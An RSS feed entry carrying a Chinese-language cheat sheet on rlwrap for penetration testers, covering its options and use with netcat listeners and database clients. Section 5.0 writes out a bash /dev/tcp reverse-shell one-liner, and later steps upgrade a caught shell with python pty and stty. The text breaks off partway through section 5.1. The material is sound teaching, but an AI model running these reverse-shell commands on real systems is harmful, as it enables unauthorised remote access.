<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Readline on 静静的安全笔记</title><link>https://ruajingjing.top/tags/readline/</link><description>Recent content in Readline on 静静的安全笔记</description><generator>Hugo -- gohugo.io</generator><language>zh-CN</language><lastBuildDate>Wed, 28 Oct 2026 18:10:40 +0000</lastBuildDate><atom:link href="https://ruajingjing.top/tags/readline/index.xml" rel="self" type="application/rss+xml"/><item><title>rlwrap用法速查</title><link>https://ruajingjing.top/post/rlwrap%E7%94%A8%E6%B3%95%E9%80%9F%E6%9F%A5-%E4%B8%80%E5%8F%A5%E8%AF%9D%E8%AE%A9%E5%8F%8D%E5%BC%B9%E7%9A%84%E6%B8%A3%E6%B8%A3shell%E4%B9%9F%E8%83%BD%E6%9C%89%E9%A1%BA%E6%BB%91%E7%9A%84%E7%BB%88%E7%AB%AF%E4%BD%93%E9%AA%8C/</link><pubDate>Wed, 28 Oct 2026 18:10:40 +0000</pubDate><guid>https://ruajingjing.top/post/rlwrap%E7%94%A8%E6%B3%95%E9%80%9F%E6%9F%A5-%E4%B8%80%E5%8F%A5%E8%AF%9D%E8%AE%A9%E5%8F%8D%E5%BC%B9%E7%9A%84%E6%B8%A3%E6%B8%A3shell%E4%B9%9F%E8%83%BD%E6%9C%89%E9%A1%BA%E6%BB%91%E7%9A%84%E7%BB%88%E7%AB%AF%E4%BD%93%E9%AA%8C/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post rlwrap用法速查" /&gt;&lt;hr&gt;
&lt;h1 id="rlwrap-用法速查"&gt;rlwrap 用法速查
&lt;/h1&gt;
 &lt;blockquote&gt;
 &lt;p&gt;一个让任何 CLI 工具都&amp;quot;自带 GNU readline 体验&amp;quot;的小工具。&lt;strong&gt;对渗透测试来说几乎是必备&lt;/strong&gt;——尤其是 &lt;code&gt;nc&lt;/code&gt; 反弹 shell、有限的 &lt;code&gt;sh&lt;/code&gt;/&lt;code&gt;python&lt;/code&gt; 提权 shell、各种不支持 readline 的客户端（smbclient、sqlmap 交互模式、某些自定义工具）。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="1-解决的痛点"&gt;1. 解决的痛点
&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;问题&lt;/strong&gt;：很多 CLI 工具不接 readline，交互模式下用方向键会被当成&amp;quot;垃圾字符&amp;quot;原样回显到屏幕上：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ nc -lvnp 80
listening on [any] 80 ...
^[[D^[[D^[[C ← ← ↑ ↑ → 这些 ANSI 转义序列
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20261028172545298.png"&gt;&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;注：上例里 &lt;code&gt;^[&lt;/code&gt; 是 ESC（0x1B），完整序列是 &lt;code&gt;ESC [ D&lt;/code&gt;（左箭头）、&lt;code&gt;ESC [ A&lt;/code&gt;（上箭头）、&lt;code&gt;ESC [ C&lt;/code&gt;（右箭头），bash 终端能解释但被 nc 之类的程序吐到屏幕上。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;rlwrap 干的事&lt;/strong&gt;：包一层，&lt;strong&gt;拦截 stdin 的转义序列 → 转成 readline 的历史/补全操作&lt;/strong&gt;：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ rlwrap nc -lvnp 80
listening on [any] 80 ... ← 干净，没有任何 ^[ 字符
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20261028173230313.png"&gt;&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;顺便还能用 ↑ ↓ 翻历史命令、Tab 补全（自定义词表）、Ctrl-R 反向搜索历史。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20261028173446579.png"&gt;
大多数情况tab补全是不支持的，主要就是上下切换比较方便。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="2-基础用法"&gt;2. 基础用法
&lt;/h2&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 语法：rlwrap &amp;lt;要包装的命令&amp;gt; [参数...]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;rlwrap nc -lvnp &lt;span class="m"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;rlwrap nc -nv 10.10.10.10 &lt;span class="m"&gt;4444&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;rlwrap python3 -c &lt;span class="s1"&gt;&amp;#39;import pty; pty.spawn(&amp;#34;/bin/bash&amp;#34;)&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;任何命令都能包&lt;/strong&gt;，不只是 nc。rlwrap 通过 &lt;code&gt;exec&lt;/code&gt; 启动子进程，把自己的 stdin/stdout 桥接到子进程的 stdin/stdout，自己在中间做 readline 转换。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="3-渗透测试高频用法"&gt;3. 渗透测试高频用法
&lt;/h2&gt;&lt;h3 id="31-反弹-shell-监听器最经典"&gt;3.1 反弹 shell 监听器（&lt;strong&gt;最经典&lt;/strong&gt;）
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;rlwrap nc -lvnp &lt;span class="m"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;监听 80 端口拿到的 shell 里能翻历史命令（上一条 &lt;code&gt;id&lt;/code&gt;、上上一条 &lt;code&gt;cat /etc/passwd&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;配合 &lt;code&gt;-k&lt;/code&gt; 可以保持监听并继续接新连接&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="32-主动连出去的-nc--telnet"&gt;3.2 主动连出去的 nc / telnet
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;rlwrap nc -nv 10.10.10.10 &lt;span class="m"&gt;4444&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;rlwrap telnet 10.10.10.10 &lt;span class="m"&gt;23&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;某些服务（POP3、SMTP、Redis 旧版等）支持交互命令但不带 readline，rlwrap 一包就舒服了。&lt;/p&gt;
&lt;h3 id="33-升级贫瘠的-shell"&gt;3.3 升级&amp;quot;贫瘠&amp;quot;的 shell
&lt;/h3&gt;&lt;p&gt;拿到 &lt;code&gt;sh&lt;/code&gt; 反弹但没法用 Tab 补全、没法翻历史时：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 用 python pty 升级 → 拿到一个伪 TTY&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;python3 -c &lt;span class="s1"&gt;&amp;#39;import pty; pty.spawn(&amp;#34;/bin/bash&amp;#34;)&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 但这个伪 TTY 仍然不带 readline&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 外面再套一层 rlwrap&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;更好的做法（&lt;strong&gt;完整 TTY + 历史&lt;/strong&gt;）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 攻击机上：先开 rlwrap 监听&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;rlwrap nc -lvnp &lt;span class="m"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 拿到 sh 后立刻升级&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;python3 -c &lt;span class="s1"&gt;&amp;#39;import pty; pty.spawn(&amp;#34;/bin/bash&amp;#34;)&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Ctrl-Z 挂起&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;stty raw -echo&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;fg&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 重新回到 nc &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20261028174742135.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20261028175127189.png"&gt;&lt;/p&gt;
&lt;h3 id="34-各种交互客户端"&gt;3.4 各种交互客户端
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;rlwrap smbclient //10.10.10.10/C$ -U Administrator
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;rlwrap mysql -u root -p -h 10.10.10.10
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;rlwrap redis-cli -h 10.10.10.10
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;rlwrap psql -U postgres -h 10.10.10.10
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;很多 SQL 客户端其实自带 readline，&lt;strong&gt;但&lt;/strong&gt;在通过 pipe 拉起来或 PTY 不完整时可能失效——&lt;code&gt;rlwrap&lt;/code&gt; 是保险措施。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20261028175819392.png"&gt;&lt;/p&gt;
&lt;p&gt;依旧是可以上下切换&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="4-常用选项"&gt;4. 常用选项
&lt;/h2&gt;&lt;h3 id="41-历史"&gt;4.1 历史
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# -H, --history-filename：指定历史文件（默认 ~/.rlwrap_history_&amp;lt;命令名&amp;gt;）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;rlwrap -H /tmp/nc_history nc -lvnp &lt;span class="m"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# -S, --histsize：历史条数（默认 300）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;rlwrap -S &lt;span class="m"&gt;1000&lt;/span&gt; nc -lvnp &lt;span class="m"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# -N, --no-history：禁用历史&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;rlwrap -N nc -nv 10.10.10.10 &lt;span class="m"&gt;4444&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# -w, --wait-timeout：readline 超时毫秒（默认无超时）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;rlwrap -w &lt;span class="m"&gt;5000&lt;/span&gt; nc -lvnp &lt;span class="m"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="42-补全"&gt;4.2 补全
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# -f, --file：补全词表文件（每行一个候选词）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;rlwrap -f /usr/share/wordlists/common.txt nc -nv 10.10.10.10
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# -i, --casesensitive：补全是否区分大小写（默认不区分）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;rlwrap -i nc -lvnp &lt;span class="m"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# -a, --always-readline：连非 TTY 输入也走 readline（管道/重定向时）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;rlwrap -a &lt;span class="nb"&gt;command&lt;/span&gt; &amp;lt; input.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# -c, --complete-filenames：启用文件名补全&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;rlwrap -c custom_tool
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# -b, --break-chars：定义&amp;#34;词边界&amp;#34;字符（决定 Tab 怎么分词）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;rlwrap -b &lt;span class="s1"&gt;&amp;#39;(){}[],. &amp;#39;&lt;/span&gt; custom_tool
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# -r, --remember：记忆用户的输入作为补全候选（学过的词下次能补全）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;rlwrap -r nc -lvnp &lt;span class="m"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20261028180038492.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20261028180926566.png"&gt;&lt;/p&gt;
&lt;h3 id="43-输入过滤--安全"&gt;4.3 输入过滤 / 安全
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# -z, --filter：过滤掉某些字符（防意外粘贴的二进制乱码 / ANSI 转义）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;rlwrap -z &lt;span class="s1"&gt;&amp;#39;badword&amp;#39;&lt;/span&gt; nc -lvnp &lt;span class="m"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# --no-warnings：静默某些错误&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;rlwrap --no-warnings nc -lvnp &lt;span class="m"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="44-提示与外观"&gt;4.4 提示与外观
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# -P, --pre-given：提示符（给被包装的命令用的 PS1）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;rlwrap -P &lt;span class="s1"&gt;&amp;#39;maltrail&amp;gt; &amp;#39;&lt;/span&gt; ./tool
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# -p, --prompt-color：提示符颜色&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;rlwrap -p &lt;span class="s1"&gt;&amp;#39;[1;32;40mcmd&amp;gt; &amp;#39;&lt;/span&gt; nc -lvnp &lt;span class="m"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# --quote-characters -q：哪些字符触发&amp;#34;引号配对&amp;#34;模式（避免 SQL 字符串里读不完整）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;rlwrap -q &lt;span class="s1"&gt;&amp;#39;&amp;#34;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\&amp;#39;&lt;/span&gt; mysql ...
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="45-调试--高级"&gt;4.5 调试 / 高级
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# --no-children：不 fork 子进程（调试用）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;rlwrap --no-children nc -lvnp &lt;span class="m"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# -V, --version：看版本&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;rlwrap -V
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# -h, --help：完整选项&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;rlwrap -h
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h2 id="5-实战小技巧"&gt;5. 实战小技巧
&lt;/h2&gt;&lt;h3 id="50-一句话让反弹的渣渣shell也能有顺滑的终端体验"&gt;5.0 一句话让反弹的渣渣shell也能有顺滑的终端体验
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;监听端&lt;/strong&gt;​&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;rlwrap -a -r -c -H ~/.rlwrap_revsh_history -pred nc -lvnp &lt;span class="m"&gt;8848&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;靶机反弹shell&lt;/strong&gt;​&lt;/p&gt;
&lt;p&gt;bash&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;bash -c &lt;span class="s1"&gt;&amp;#39;sh -i &amp;gt;&amp;amp; /dev/tcp/127.0.0.1/8848 0&amp;gt;&amp;amp;1&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;回监听端 看&lt;/strong&gt;：应出现远端的 &lt;code&gt;$&lt;/code&gt; 或 &lt;code&gt;user@linux:~$&lt;/code&gt; ，且应该是&lt;strong&gt;红色&lt;/strong&gt;。连上之前和之后是两种状态。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20261028182957917.png"&gt;&lt;/p&gt;
&lt;h3 id="51-用-stty--rlwrap-拿完整-tty-反弹-shell"&gt;5.1 用 &lt;code&gt;stty&lt;/code&gt; + &lt;code&gt;rlwrap&lt;/code&gt; 拿&amp;quot;完整 TTY&amp;quot; 反弹 shell
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# === 攻击机 ===&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;rlwrap nc -lvnp &lt;span class="m"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# === 反弹后，靶机里 ===&lt;/span&gt;
